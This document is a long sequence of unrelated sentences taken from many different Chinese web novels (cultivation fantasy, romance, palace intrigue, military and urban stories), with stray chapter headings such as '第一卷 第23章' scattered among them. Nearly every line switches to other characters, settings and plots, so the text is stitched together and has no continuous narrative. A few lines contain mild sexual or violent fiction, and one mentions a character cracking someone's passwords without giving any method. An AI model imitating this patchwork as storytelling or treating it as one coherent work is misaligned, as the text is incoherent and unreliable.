冷玉心中盘算计较,同为双重本能觉醒者的冷玉知道,像进食本能和杀戮本能,都有一个领域范围,出来这个范围之外,就鞭长莫及了。
慕倾城听见采薇的抱怨觉得哭笑不得,这丫头果真是很爱黏着自己。只是这些事情她绝对不能告诉她。
阿来在游斗中,至始至终偷偷地观察着几个马仔的神态,人的位置,手放的位置。
眼见困境终于被化去,左兮灵等人也松了口气。她立刻弯了弯眉眼,笑道:“院长,你来得真及时!”随着这一笑,天地仿佛都为之失了颜色。蓝挚初的眸光顿了顿,才仿佛漫不经心地从她的脸庞上移开。
除非他没有任何疼痛的感觉,血如泉涌的情况下,十分镇定的慢慢躺好,才会留下这样形状的血迹。
青州学宫的上空,一只巨大的凶兽飞来,可怕的肉翼拍打着,身上不时冒出火焰,蛇头鸟身,浑身没有一根羽毛,凶威滔天。
“嫘姨,这是……”齐风瞪大了眼睛,不可思议地看着中央戊己杏黄旗中正在发生的一切。
透过迷茫的烟雾中,看着迪厅里人们晃动着要脱节的身体,听着震耳欲聋的high曲,发现黑熊面具的男人,正在和玲玲进行不堪入目的身体接触。
“孙老头……你怎么来了?”罗渊挣扎着想要站起来,但身体一阵阵的虚弱。
自己对付一个,还两败俱伤,还斗战了十天十夜,还想着为陛下分忧?陛下说自己弱,还不承认?
当初在洪荒界,自己先后遇到了两位大帝,分别是幽冥大帝和天罚大帝,而自己所拥有的两种洪荒绝学,幽冥掌和天罚牢笼,正是幽冥大帝和天罚大帝所传授给他的洪荒绝学。
第一卷 第23章 疯狗病
苏玖玖只能不断向后退,可身后是依旧是那道结界,她退无可退,眼见那些尸体离她越来越近。
洪学智不清楚陈婷婷是怎么来的,陈婷婷是清楚的,余兵是要她和洪学智摊牌。
而寒影灭的双眼也是变成漆黑的样子,头发直接卷曲宛如浪卷,黑色漆黑的光泽,脸颊上面长出了两个黑色菱形的角。
八百里加急还没到皇帝手里,祁景元就从达哈送来的密信中知道了,这八百里加急里说的是什么。
一道身影直冲天际,在下方所有的纹族化作光芒被这道身影吸收,这道身影就是纹族的王,纹族的统治者。
风云水冰,四种力量迅速涌入躯干之内,一道道剑气,充斥身躯。
正要出门的苏玖玖只道是免费的瓜不吃天理难容,默默拉着谢衿退避三舍。
老太太把余兵领到洪秀珠房中,余兵惊呆了,什么病人呢!那不就是西施侧卧在床上吗?
上一刻还热闹嘈杂的院子,突然变得安静下来,一时间还让人心中有种异样的反差感。
第一次留下来陪叶安的人是孙明华,他闲着无事,干脆拿过电子索引器照着轮回兑换列表一点点往里添内容。
虽然心中这么想,但我却并未大意,很是谨慎的在洞口处巡查了片刻,没有感到任何危机,这才放下心来。
随着惨嚎一声,轰隆一声,咔嚓一声,知县大人肥胖的身躯,砸在了高桌上,直接将桌子压的断裂开来。
“贤弟怎么看这件事情?”吕布似乎很想把这个问题探究到深处。
看着双眼紧闭面容安详的房东,李鹤强忍着没让自己在众目睽睽之下露出过于失态的表情。
“乔医生,你脸色好难看,生病了吗?”李护士看着她有些异样,不由的道。
火冒三丈的沈楠充耳不闻,几个跨步就迈出了帐外,只是,恰好碰到过来给父亲送药的宝春。
“唇枪舌剑”这等弥漫着兵戈之气的词语来形容辩论赛。如果真的辩场如战场,那么兵法有云:“兵者,诡道也。”辩论斗智使诈,实在无可厚非。
而李铁柱和刘桂花听了李二龙的这话之后,这才点了点头,不再是一副怀疑的神色了,尤其是李铁柱,之前他还以为自己儿子是在吹牛呢,毕竟心脏病这种病现在搁在哪那都应该是不能完全治愈的吧?
何以宁看着厉云泽的背影,心里腹诽了下,转身去了另一个卧室。
忽然,他在楼上还看到了一个熟悉的身影,心里一惊,差点想低头弯腰钻到人堆里,免得被认出来。
“你父母死后,留下的一些东西都在她那里,你暑假去苏国那里找她一趟,把属于你的那些东西都拿回来。”邓布利多道。
尤其这个帝国动荡的时候,不少强豪庄主都是囤积兵甲训练私兵以防万一。
果然,中州神石异像突现,一条金龙从神石呼啸而出,绕着神石盘旋飞腾,石上无数神纹浮现,流光溢彩,整块中州神石都活过来一样。
王志伟一巴掌拍飞那年轻主播举在前面的手机,这还不解恨,走过去对着地上的手机连跺几脚,变成碎片才罢休。
楚河虽然把所有的田地都收起来集中管理耕作,但村民并不是没有事做。
还好到了楚河现在的境界,一天只需休息一两个时辰便足够了,甚至连续几天不睡也问题不大。
胆姜维又说需要凝血境才能真正动用武胆的力量,但自己怎么就能完全发挥出铁壁防御+2的天赋能力?
姜维横枪身前,脸色和声音都很是平静,但谁都能感受到这平静中蕴含的决心和杀意。
所以她才会为了自己的孩子果断的去猎杀别的生物——圣母可做不到。
开发游戏,从零开始,这显然对秦唐国际来说太难太难。与其如此,还不如借着企鹅公司的力量来赚钱。
陈辰辨明地球所在方位,不去理会四周纷飞的光束,绕着天王星疾冲而去。
夺过对方被偷去的四魂之玉之后,犬夜叉一拳头砸在了对方的脑袋上面。
这样一来,夜王天魔倒也不急了。反正现在的情形对他大大有利。时间拖延的越长,刘炎松的法力就会损耗加剧。到了那时,在自己与傀儡的联手之下,夜王天魔相信击杀刘炎松,也只是时间的问题罢了。
虽然说手里的武力已经是极端强大,这些天来,狂暴和深寒又生产了不少出来,集中其庞大数量后,对抗强大的巴比伦帝国舰队已经不是什么问题。
这时候船靠岸了,方浩急不可耐地跳下船,跑到林笑笑跟前,上下打量着她,就见分别了一阵子,伊人却见清瘦。
包飞扬浑身一僵,顿时老实了下来。武浩博对他这么关照,他可不能害了武浩博。
不过刘炎松心中也明白,冯彩玲的本质其实并不坏。如果要不是因为柏亥君的缘故,说不定冯彩玲现在跟夏语嫣的关系,依旧还能保持在当年的那种情谊。
这一次郭丽琼坚决拒绝了月东方面超规格的接待。轻车简从前往清河。随行的除了考察团成员,就只有财政厅的常务副厅长常友联、综合计划处处长刘鲲鹏、以及住房土地科的几名干部。
紫衣道姑见再无人跟踪紫藤姐妹四人,便带其余五名蓬莱派弟子往西继续赶路。
诈败逃窜,领着士兵丢盔弃甲,朝谷口那插着七星旗的方向逃去。
林峰也知道李诗薇说的话是什么意思,但是看着她可爱的样子便想逗逗她。
第一卷 第24章 赵神医服了
专访的结果很顺利,大家都很满意,尤其是吴雨林在镜头前面的成熟稳重的一面,让吴易阳很是欣慰,他相信今天他的表现,会让公司和世人记住他这个吴氏唯一继承人的。
伸手摸了摸唇边,因为他笨拙的技术,还微微有一些痛。什么嘛,平时装的那么拽,连接吻都不会,把人家痛得要命。之前喝醉了胡乱的‘啃’她就算了,刚刚明明很正常的时候,技术还是这么烂。
战争,最重要的是知己知彼,董万年拿起电话拨了出去,向麒麟会各分会分堂下达了紧急命令后,往麒麟会的总部走去。
其中,就属璞玉子最为淡定沉着。只见他不急不缓地靠近蔚言从她手机接过那根淡蓝色的发丝……眼里回转的流波异彩似乎泄露了他早已明了的心境。
另一方面,是因为玉流苏正处于一个极度不稳定的状态,她不想因为外人的打扰的缘故导致流苏消失。
秦始皇微微一笑:“放心,寡人明白,说罢秦始皇就朝着王座之上走回,王安和松了一口气,可还没等他坐到椅子上的时候,秦始皇的不冷不热的话语再次传入了他的耳中。
比维斯‘巴拿马大公爵,马里亚纳的使者就麻烦你去送他们下好了,请他们转告巴洛特,这件事情是对我国的挑衅,如果他不给我一个说法的话,那么就尽管来好了’。
在无人注意的情况下,她神不知鬼不觉地将炮仗藏在了身后偷偷带走。
手慢慢的握着刚刚她握着的咖啡杯子,上面还有她的温度,段姝斓的温度。
“看来遇到同道中人了,那一战如何,”老七不等狐狸说话,大喝一声,一刀闪电般的攻向狐狸,不给狐狸喘息的机会。对于幽灵成员这些杀人机器,是不屑于那些花招的,他们的目的都只有一个,将对手简单的击杀。
良久,张三丰眼中紧忙一闪,脚下也不见丝毫动作,便翩翩然踏风而去,下了武当山,消散在了茫茫山野之间。
有位军官好心的提醒了吉姆,因为这种“风琴管”的杀伤效果,这些联邦军官应该是最为清楚。
有些事情,不是他一个警卫处主任能够做决定的,所以他才保守的让李永乐先将条件提出。
正在李永乐左右右抱做着美梦的时候,一声巨吼将他惊醒,黎幽月手中拎着袋子满面怒色冲进病房。
听到这里的时候,7号默默的点了点头,将可能这方面的情报说了一下。他认为联邦之中拥有一个秘密部门,性质应该和幽灵特工一样或者类似的组织。具体的因为情报所限,他还不是知道的太多。
慕容晓晓早就等待在了房间里,当她看到醉了的江凯进来时,她明白接下来要发生什么了。
以至于,让查波自以为傲的溙拳,最强的胳膊肘和膝盖的攻击根本腾不出时间。
然而出乎意料的是,秦凡面对这些持刀大汉竟是抢先出手,一脚踢在了黑衣大汉握着刀子的手腕上。
李清风杀死妖刀门门主之后,对于其他岛国人放了一马,但是对于妖刀门的弟子却是没有放过,因为要斩草除根。
而就当Deniala将大拇指放在按钮上,缓缓地要下按时,宋明一依旧紧紧地抱着谈七琦,与金夜炫一起做着最后的赌注。
姚光启心里烦闷,也不回答师傅的话,转身就走,回到自己的屋子,关上门倒头就睡,可是他心乱如麻,实在睡不着,翻来覆去。
晃眼的光芒把眼睛反射的不禁眯起,尽头一个身影隐隐约约闪现。
一时间,城中上下皆庆祝欢腾,对星灵祭坛和两位星使,更是顶礼膜拜。
而独角仙的肚子也宛如无底洞,无论吞进多少人也不见饱腹,好似一头永远吃不饱的饕餮。
他后悔自己这十八年来对金海娣的不理解,甚至怨恨,然而,这所有的一切,却早已无法挽回。
“你等的可是她?”李柔抬手指了指,拎着宝剑的陈月如进入了院子。
一年后,他的黑心大哥已经对我放下戒心,而我终于有了喘息的机会。就在那个有着姣好白月光的夜晚,我成功的逃脱了被窝称作地狱的地方。
申明似乎想到了什么,于是将起身凑到了毛七七的面前问道,“因为那一只狐狸精?”接着,便露出了一副暧昧的笑容。
京城里纷争我们暂放一边,我们回头看看我们的主角,在山上修炼的姚光启。
听着唐和米国男人的交谈,范炎炎的心情也是越来越紧张了,他看着窗外的夜色,雨点淅淅沥沥的打在车窗,雨已经开始下了,可雷什么时候来呢?
“这个世界。”未央苦笑,我的世界早就只有这头顶上的一片天空,穷此一生,我都无法替她们去好好看看这个世界了。
“微臣今日早朝已经表明了,谨遵太后懿旨。太后要臣娶谁臣便娶谁。臣不敢有怨。”轩辕翊说的很平淡,仿佛在说别人的事情。
“对不起,请问一下,现在是什么情况?”辰亦儒看着正相对而立的三人,那种沉默的氛围,还有三人脸上异样的神色,辰亦儒微笑的说道。
布莱德礼貌的向他招着手,梅飞雪站在布莱德的身旁,手举着的牌子写着他的名字“范炎炎”,这让范炎炎在茫茫人海一眼看到了他们。
范炎炎有些尴尬,这研究所里的这么多人,他最不愿意伤害的是这个爽儿了,不仅因为她是大汉王朝的人,更是因为她有一颗对什么事情都毫无防备的善良单纯的心。
硕大的皇宫中,富丽堂皇的宫殿之间,掖庭就存在于南北向的中心线上,因为它存在的特别,东西两侧延伸的位置一般都居住着不怎么得宠的妃嫔。
第一卷 第25章 发财了!
再往里面看,还有一张纸。上面更简单,只有几个字,打印的:三点,电视塔,聊聊。
实际上叶萧往编剧方面发展有着更深沉的愿望和野心,只是现在说出来的话还为时过早,一切都不成熟。
约翰录像带来的效果,如果顾正所料的那样,颠覆了很多人心目之中的古德里奇神父的形象。
师长此时又从柜子里掏出两条好烟装包里,准备后面带给孟良,在海岛那么艰苦的地方培育蔬菜,他的烟肯定早都抽完了吧。
此时刘助理员和何干事坐在一个角落里,看着师长和孟良在说悄悄话,而且他们是从刚吃完饭就开始说,一直说到吃完饭还在说,心里就有点落差。
孟良根本不能确定,再说,即使有了强大的武器,战争也不是谁说赢就能一定赢的。
我说你就不要操这份闲心了。人家那个家庭,不把男方查个底掉,会同意结婚?你呀,多此一举。
这些和神经元网络接触过后发生变异,直接与神经元网络的突触融合在一起,使得整个神经元网络发生翻天覆地变化的病毒,这样一个神奇的不同于别的病毒的病毒,却依旧是有着有着所有病毒一样的缺点。
骨甲开裂,对面的铁骨妖的长矛,直接砸在丁二的脑门上,却是浑然不顾。
没有受力物的情况下,即便是它们再用力自然也不可能移动半分。
如果不想让这个炸药桶响了,就得把内地和港岛警方的火给灭了才行。
“程昱,跟我去医院!”出了办公室,吕步清拉着程昱就往外头走。
如果不是莫名其妙的,那头凶兽就趴下了,现在诸葛清早就去阎王殿报道了。
下一秒,水月竟在我眼前脱下衣衫,雪腻的肌肤呈现在我眼中,或许是因为许久未曾梳洗过的原因,肌肤并不是非常水嫩,但依旧美丽无比。
龙扬正准备躲进征战一生戒指中,只感觉身上一紧,被一根绳子捆起来了而且这绳子竟然无法破开。更无法进入到戒指中,龙扬不禁吓了一身冷汗。就连雪玉都无法催动,恐怕今次是玩过火了。
何征犯愁的看着这条信息有点上火了,因为高维成到现在都没有和德罗巴说下一步是啥,他不清楚在这之前两人有没有探讨过这件事,所以他根本就不敢细问。
一条万米粗大的裂纹横穿整个宫殿,无数异兽咆哮着坠落无尽深渊,一只燃烧着幽蓝火焰的巨大手掌从地底探出。
一分钟后,收回真气,所有火焰从四面八方向手心而来,这一幕着实壮观无比。
他就是不怕易良耍什么心眼,也怕万一碰到什么意外,毕竟这里比内地环境确实太复杂了。
孙兆明点上火之后,猛吸两口,喷吐出浓白色的烟雾,缓缓在空气中弥漫开来。
细看下去,段真肤色比以往更为白皙,眉目间的硬朗稍稍柔和,竟开始变得有些清秀。
这最后一段时光里,他也没能见到其余四人,虽然心中明悟,却还是想问问。
现在季漠处理的事情,对他来说,也是一件很轻松的事情,而且接下来季漠可以完成的任务会是更少。
她异常的举动让他整颗心都化了,他拉开她的手,问:“怎么了?”。
她虽现在没钱,但想翻身就必须要有本钱,所以她想到之前秦栋和她提过股市的事,虽事隔几年有些模糊,但根据她调查的结果,投了些钱。
“我,不是这个意思,我只是……”顾倾欣还没有说完就被靳宸枭打断了。
不出三秒钟,翟二少便不敢再对下去了,他刚挪开视线转向别处,便听到了那清澈低沉的嗓音响了起来。
发现都城最近新闻与动态,完全没有刚才那几人讨论的“事件”。
青韵这才注意到,原来他的衣服,在岩浆之中完全被焚成灰烬了。
杰瑞也有自己的习惯,在观察了杰瑞的爱好和习惯之后,陆天宇试着破解了杰瑞的银行、电话和汽车的密码,结果发现杰瑞根本就没有多少安全防护意识。
原来学院是用这种方法,将这些学生随机落到峡谷的任何地点。不至于同时落地就碰头。
,两个顶级大魔王,这战力太强大了,谁又能抗的住这段时间呢?
赫连芊芊娇躯微颤,轻咬嘴唇,但却没有流泪,甚至琴音都明天停下。
所以即便苏问够幸运的踏入修行,走到极致也不过是一等起凡,虚有其表,甚至远不能和内外兼修的同阶修士相比。
孩子们早早起床,他们自行准备野营器具。把困难准备的充分些,既能增添前行的动力,又是注重细节的起点。
随后大狼犬朝着哥达鸭使出了抛沙,并且还成功的命中了,这让哥达鸭的眼睛有一丝看不清,加上皮丘的光,让哥达鸭的命中率持续降低,此时哥达鸭距离戴洛还有四五个身位。
夏日的微风吹在人脸上带着些湿气和炎热,董如身怀有孕,但她体虚怕冷,卫七郎无法,只能给她备了一件白色薄氅,可现在披在身上,董如却是觉得有些闷热难受了。
第一卷 第26章 三个婆娘都被抓了
开学注册的前一天,凌家,顾家,裴家,一大家子的人都去了机场,送凌慕辰和顾向北走。
甚至于,在修炼的世界,人的容貌,会随着修为和神力的提高,变得越来越趋近于完美。
正想着,“咔嚓”一声,凌慕辰从浴室里走出来,身上随意披着一件浴袍,松垮垮的,隐约可见结实的胸膛。
只是,前厅,冥玄果真跟那丫鬟说的一般,已经醉成一滩,趴在桌子上,面上尽是傻笑。
顾妈妈看一眼老爷子,见他还是一脸的威严,她不敢再说什么,只能忍气吞声地帮思思剥起虾来。
他这么急匆匆的赶了回来,但是当他到了之后,却又将车停在外面,一直没有开车进去。拿着烟的手指有些颤抖,目光幽暗难明,他愣愣的有些出神。直到烟蒂烧尽,烫到了他的指尖他才回过神来。
甄柔看向曹勤,心里有丝猜疑,但心下很清楚,曹劲也就是如此一说,若他有证据,应该不会就这样含沙射影。
知道进来的人是甄柔,他因为正心有思虑,并没有抬头,直接习惯性地将事情吩咐下去。这时,一抹与房中格格不入的色彩,却蓦然闯入眼角余光之中。
台下,众将士齐声呐喊“主帅威武——”,声声振聋发聩,非昨日儿戏之下可比。
而这一切,都在经过了名医的治疗无望后,她把希望都寄托在了那位青城山隐士的身上。
血月山的动静引起了九大行宫的警觉。大批九大行宫弟子正朝血月山方向赶來。
血莲看了两人一眼,并不言语,而这冰冷的态度,却是让她更有种妩媚神秘的韵味。
在完颜烈将双手伸直的那一刹那,他双臂的关节都发出了阵阵异响,这是拳道高手的特点,在一伸一缩之间,那骨与皮都能随意控制,筋与肉亦是可以蓄势待发。
随着盛暑的降临,学校显露了希奇的人烟稀少状,十纵九横的幽静道路上学生的身影很少见,北国的夏天较之南方更显凉爽,而南方的酷夏方叫夏季。
黄元老心底暗暗吃惊,罗峰的刀法看似简单,毫无花俏,但每一刀都迅猛无匹,速度和威力让他都感觉有些心惊,刀法中的意境,仿佛浸淫刀法几十年的老一辈刀客一样,看似平实无华,又无懈可击,至刚至猛。
“正是!属下也派了几名手下前往冥界最北边的神秘地带,依然能够毫无障碍的随时联系!”白启补充道。
凡是为朝廷服务的工匠起俸禄将有朝廷统一发放,凡是为私人服务的工匠,起薪水将和朝廷一个级别,由私人发放,凡是有拖延薪水情况的,工匠可以到官府状告。
柳艳彤从一旁的柜子里给弓大拿了一盒饼干,见到食物的弓大就如同杨幺见到一丝不挂的她时一样,两眼放出了亮光,端着盒子就蹲到墙角吃了起来。
端正位置,跟着np走就是了,不要觉得自己是救世主,能做到的事做,做不到的别硬撑,好好想想是不是忽略了什么。
从知道消息到出发只有两天时间,所以在确定了要去新疆后,邱叶和赵淑燕就开始准备起了行装。由于时间紧任务重,所以所有的出行装备都是赵淑燕准备的,她去过一次新疆,知道都要准备什么衣物。
窦战龙一听,似乎明白了。也对,自己之前是跟林依然在一个屋檐下居住的,现在其实他也应该和林依然住在一起的,只是,由于当初步家出了事之后,他基本上也在这里居住,算是有了两个落脚的地方。
窦战龙身躯倒飞出去,灵巧的身子在半空中翻转几下,双腿慢慢落地,丝毫不受影响。
看到许南山的手臂上,手上,甚至脖子上都是指甲的划痕,悠然脸红个彻底,昨天晚上的场面有多激烈,可以想象。
一对新人款款登场,悠然在看清男人那张脸之后,甜点一下子掉在地上。
吃过了饭,都已经换好了半休闲的衣服,千悦还是有些扭扭捏捏地,都不敢拿睁眼看他。
这一刻,秋叶三人被暴打之后,已然心知此时境地如何,连忙爬着跪向了飞龙在天这里。
他竟然听见了!这叶欢明明已经跳了下去,这人当真做到了无处不在的境地嘛?
父母离去的悲痛,让她伤心欲绝。但她却是不由得不坚强,因为她还有一个活着的哥哥。
一时间,在正场中的比如进入到了一种白热化状态的请款时,周围的人传来喧闹的声音,在场的人中,说什么的都有,情绪也是随着比武现场中的人情况而调动着。
金鳞巨蟒闻言又喜又愁,喜的是大人出手大方,这些药虽然自己用不上,但在族中的那些后辈们眼中可是不折不扣的宝物,愁的是每年百头开了灵智的千幻虎这个任务。
可惜这次莉亚丝未能如愿,因为苍那早就防着她了,见她有动作,立刻伸手捂住无忧兄的嘴,让莉亚丝亲在自己手背上。
“军长,咱现在开的是作战会议。不是总结会。不用搞自我批评的。”丁水龙说道。
这第二个任务,地甲完成的就简单的多。下界之后,在凡间待了不到半天时间,就完成了任务,并开始返回仙界。通过这个任务,地甲也才确定那最早的丁级任务,难度比一般的甲级任务要大一些。
林辰亲自发表了讲话后,新政权的组建开始轰轰烈烈的进行起来。
他这么说,就是承认了卫平的话。在座的人都不笨,一下就听出了,不由越发兴奋了。
蔡育新知道杜主任貌似忠厚,但为人处世非常圆滑,也很有点急智,便依言端起一杯酒,跟在他后面走出包厢。
第一卷 第27章 拿钱赎人
“魔兽山脉么,好吧,谢谢您老师,我回去再研究研究。”龙明听到魔兽山脉,心中又燃起希望。
逸朝英神情一紧,先是抬手向天空之中发出一道红光,通知营中部队前来支援。红光在天空之中爆炸开来,光芒染亮天际,将凹地之上的众人映在一片火红之中。
听到徐雅然的话,涂宝宝露出恍然大悟的神色,原来是以前的同学。难怪涂宝宝觉得有些眼熟,可是以前上学的时候涂宝宝并不怎么和这些所谓的同学有太多的来往,所以突然看见他们,涂宝宝一时之间真的想不到。
展修一见这模样不禁略松了一口气,于是又翻起了白眼珠子,嘴里还咕嘟咕嘟往外直吐白沫。
“洛王爷,好久不见,看来你的武功又精进不少”余音未绝,忽然间只听一声轻响,一朵黑色桃花携着一股劲风飞射而至,与剑风相碰在一起,轻易化解了钟离洛的剑风。
吁了口气,林浩重新点上油灯,暗自思虑,自己怎么会是光明属性呢?刚才虽然一时激动,但是冷静下来想,这似乎有些不可思议。
说完,众弟子这才直起身,不敢再多说什么,相互对视了一番后,打算就此离去。
不过他懒得去反驳易中天,他知道易中天就是这古怪的脾性,而且他来找自己肯定是有事的,不然他早就神龙见首不见尾了。
又过了数年,这一日大自在天呈现出比较平和得气氛,说起来博德拉一族以有一个月没有在进犯,大自在天得人也乐的用这段时间调养休息。
总算弄好了一切后,张嘉铭穿戴好在外人眼里简直就跟乞丐装一样的皮甲,握紧盾牌,腰里别上斧头和祖传菜刀,轻手轻脚的蹑行出后门,这次的目标很简单,就是街对面的王叔家的杂货店。
“哎呀我不是说过了吗,那是以前的我,现在的我觉得粉红‘色’很好看!”若添有些不耐烦了,拿着连衣裙就走进了试衣间。
“刚好到这里出差。”她的表情让宋天铭没来由地心酸,试图解释的,但信口胡掐的借口,怎么听都觉得那样虚伪。
也难怪就连凤允天都是少有的露出了异色,安魂曲,传说可以安抚灵魂,镇人心神的曲子,传言中上天上的神仙所传与人间的,想不到这曲子真的存在,且是要用根玉萧演奏出来。
做好约定,彼岸想要先回面馆对若添他们‘交’代一下,还要让老爹放心,便与独角兽一起往面馆走去。
最后谈星云还是决定进去容承绎的办公室里面坐着等好了,哪知道才刚刚推开办公室的玻璃门,就看到原本紧闭着眼睛的容承绎就倏然睁开眼睛,清醒的视线霎时投向僵硬在门口的谈星云。
油轮一声,深深震撼着整个天际,好似远离已久的归客终于投入温暖的港湾。那深邃的江水默默奔涌,只望见一层层,一缕缕青墨‘色’的‘波’澜。
方眠始终不明白,独角兽为什么好端端的不去神山,偏偏要一直潜伏在他们附近?它的目的究竟是什么?
话说,这一屋子的人,她宁可信那个服务员,也不能信他们,可是,菜单已被他们‘横刀夺爱’,自己就算是再挣扎,也是挣他不过了。想一想,还是省省力气,留着一会儿打持久战。
“我这就去找她过来,你把这被咖啡喝了吧,简直是不和我的口味。”霍峰起身往外走的时候,给尹梦离留了这么一句话。
顾绾绾听到云子修三个字眼神一凛,看这云子修的动作,想必是已经对顾绾绾的身份犯了疑,不过她现在也不惧什么,毕竟她现在的确是顾绾绾,如假包换的顾绾绾。
卡尔萨斯没办法,如果过去催安吉丽娜的话,对方一定会说他是个不华丽的人,如果不去催,安吉丽娜的可能就要迟到了。
“各就各位,开始!”当导演的话刚落,工作人员开始人工降雨。
系统一下子又缩回了系统空间的最里面,只见系统幻化成的一只狗崽在里面急得团团转。
林黛玉早就等在二门里,一见到李纨下了车,过去拉着李纨的手,叫了声嫂子就泪如雨下,她真是了解了李纨的难处和不易后,才对这位平时少言寡语的嫂子心生敬意。
抬头看看高墙,三层楼那么高,也没个梯子绳子,单凭着自己也是上不去。
“好!”两位总兵都看出了这的好处,河道在这里一变三,很方便分流船只,减少误伤。
众意如此,于思诚也就没再坚持劝他们继续走,忧心忡忡地望着海啸赶来的方向。
第一卷 第28章 我看看谁能走?
“你若不喜欢,大婚日期,我可以替你拖着。我这么做,只是怕你被秦皇后送给别人。
毕竟只是没有剖开的石头,按照出千分之一的出灵晶比例,这些石头卖到上万银一块,也不便宜。
贝克是狮族的族长,而且在狮族族长就是绝对的权威,没有什么管理会、长老横加干预。
就算是建成帝顾忌他的感受,不会动穆瑾,但以后岁月漫长,谁也不知道他以后会不会动什么心思。
这让西萝心底涌起了阵阵甜蜜,甚至一时之间都有些不知道该怎么样迈开自己的步子了。
变异兽与生俱来地会畏惧纪元商店的气息,但是现在居然还敢围住洛阳城,虽然惧于纪元商人的力量和威压不敢进犯,但是仍旧把这座城市围得水泄不通,那一定是发生了什么重大的事情。
【队伍】君子有酒:应该是类似于雇佣兵那样,只是拿钱办事儿而已。
蓝锦的神色变得凝重,同时也在心里起誓,发生在梅雨身上的事情,他绝对不会允许发生在语雪身上。
可是现在想想秦墨麟的年龄,他还有无限可能。他若今日在姬云手下支持这么久,是不是再过几十年就能战胜姬云?
穆瑾在这沉闷的气氛中解开了少年腿上的绷带,层层布带被解开后,发现昨日拔出树枝的伤口隐隐泛出了白色的脓肿。
不动,假装自己这边就是幽月森林里的一棵树,只要她不动,大乘以下修士基本不会发现她的行踪,据她这些年观察,至少她这个层次的修士基本还不怎么经常见到大乘修士这样的厉害人物,大概都在紫晶城中吧。
“不用了!”秦晓连忙拒绝,谭宁一他们好整以暇的目光已经让她想要钻地洞了,要是再来一出“十八相送”,估计会被她们取笑死的。
冷宸轩阴鸷的眼眸里透着冷冽,他双手捶了下方向盘,启动引擎,愤愤的离开酒店。
手机重重地落在地上,她的眼泪止不住地流了下来,神情比得知父母的死讯还悲戚。一旁的顾曦离她坐得远远的,植皮手术成功,却依旧满是疤痕的脸上,挂着豆大的泪珠。
炎凤看了她一眼,想了想咽了咽口水,点了点鸟头,一个转身便消失不见,萧畅往手腕的空间里一看,她俨然已经飞了进去,滴溜溜的眼睛注视着她。
开心有些惊呆了,她也没有想到会那么顺利,原本以为这一出戏怎么着也得NG个十多二十条的,却没有想到一次就过了,而且感情还那么到位。
我抽了一根烟,觉得舒服了点,望着夜魅自己在附近的大街上,溜达开了!凌晨三点,路上基本上没人,很安静。
秦晓与占尹霞对视一眼,两人目前情况特殊,跟着去真的很不方便。
“我管你怎么样,只要知道你是徒级狂猎者就好了……”陆临一边说着,一边把自己的左腿举起来,然后对着鬼童的左手上关节就是一记狠狠的脚踢。
但这几名片警却很好的完成了任务,且相当严谨而有条不紊,很是难得,他不由高看了他们一眼。
两人决定稍事休息,并吃个饭。为了赶时间,他们中午可都滴米未进,这会儿都有些饿得慌。
她说他让她血脉贲张。但他滑稽地说:“还忙吗!”可是有一天,他遇到黑死病暴发,异乎寻常严重。她保释了他。
一夏几乎是在陈方平的严密监视下,硬是在这个住院高峰期,收费贵死人的医院愣是住了半个月,然后喝着自己最讨厌的重要,就这么在陈方平的强权镇压下,勉强呆了这么久。
算她聪明没有直接求救,他倒是希望她刚才求救,闹得大家都知道,她半夜三更衣衫不整跟一个男人共处一室,新闻越大越好呢。
看着落地窗折射回来的淡淡的阳光,轻柔的环在这人的周围,将他身上的那种冷硬的线条都柔化不少,一夏在寂静的空间里都只能听到自己轻微的呼吸声。
杨林的便宜老爹杨天义早年间刚好参与过对邪花门的灭门之战,一番浑水摸鱼之后,最后倒是得到不少的好处,万骨天魔丹只是其中之一而已。
他的心中应该会反复地对自己念叨:这一辈子,自己一定要让翠翠幸福。自己绝对不会再让翠翠受到任何的伤害,绝对不会。
便见裘修元手持已经变大的大黑旗,而后他周身的真气不断散发而出,十几个呼吸之后,却见裘修元陡然暴喝一声,然后手持大黑旗向着杨林的方向一个横扫。
邢烨看着莫开开虚弱的模样,心中对于记者会上即将宣布的一切更加坚定。
“青青草原?谁青青草原了?”韩睿对于这个词当然是一清二楚,对于男人来说,这四个字可是大忌。
第一卷 第29章 陈小友,你为何要出手伤人
那是他做梦了,梦到了妈妈,他想她了,他们一起睡了大概有十年,但他每次梦到妈妈的时候,都会紧紧的抱着她。
傅时煊早就已经意识到最近没次见到夏桐,她都会比之前一次更漂亮更吸引人。
知道如果再含蓄的问下去,秦苏木觉得自己会被顾怀古气死的,所以干脆明明白白的问道。
“用谎言和伪装向别人隐瞒自己的真实意图,在背地里偷偷地行动。”顾绝兮压下心中的诡异感觉,仔细地解释着。
秦晟行看待是觉得惊了惊但是还是觉得没什么太大的感触,因为性格太孤僻他倒不是惊吓。
唐百川二话不说,起来就往外走,一行人跟上,不过末灵凡还在原地难受着,被穆雨轻轻的拉着就也跟上去了。
夏欢走过去,这黑色吉普的车门开着,后备箱也是开着的,里面没人,车钥匙还在上面挂着。
白风和低调的龙第一反应都是这个,这一路上他们都是紧盯着夜爵走过的地方,然后按照他的路线前进,这才没有踩中陷阱,此时见夜爵突然起跳,两人不得不防一手,万一那个地方有陷阱呢?
“好啦好啦,别闹,这回是来送信的吧?”顾绝兮摸了摸鸽子的脑袋,它惬意地眯起了眼。
在黑暗精灵眼中,地球同样是一个不可思议的世界,更是一个美丽的世界,比一片荒芜的黑暗精灵星球来说,一个是天堂,一个是地狱。
几乎同时,叶无锋半步宗师气息与那位政礼监大官的宗师二层气息也随之释放。
他为什么会针对我?他和千素月到底是什么关系?我有什么地方得罪了他?这一切到底是怎么回事?
不过就算在高武世界,如今的他也是主心骨人物,到处都是他的名声,只要多去转转,自然也能看到一些关于自己的画像吧?
刷完牙后,他拿着大大的发夹把安璇的头发夹到后面,由于是短发暂时还没能绑起来。
帝墨寒盯着她看了许久,然后,扬起了嘴角,长腿一迈,直接朝着办公室的门口走了过去,将大门打开了。
魄凌云怒喝一声,刀风化作一尊魔神虚影挥舞双臂,欲要震飞箭矢。
他还侥幸留着一口气,只不过伤势很严重,若不及时治疗,也会有性命之危。
八人似乎也有意比拼,你不让我,我也不让你,八副绳梯之上,八人起起伏伏,毫不相让。
人渣,人渣中的人渣,以及更多需要限制输入的词语,都已经被她们用各种“曲线”表达发到了网上。
“砰!”古代机械骑士的长枪直接刺穿了死亡蜘蛛的躯体,而太阳神黄的学生也因为这次攻击而损失了1200LP的生命值伤害。
水瑶听了路庭枫的描述,连她不得不佩服舅舅这好运气“连玉石矿石他都能找到,还真是出乎人的意料,其实别的我没奢求,只要他能平平安安的就好,人既然没事,那我就放心了。
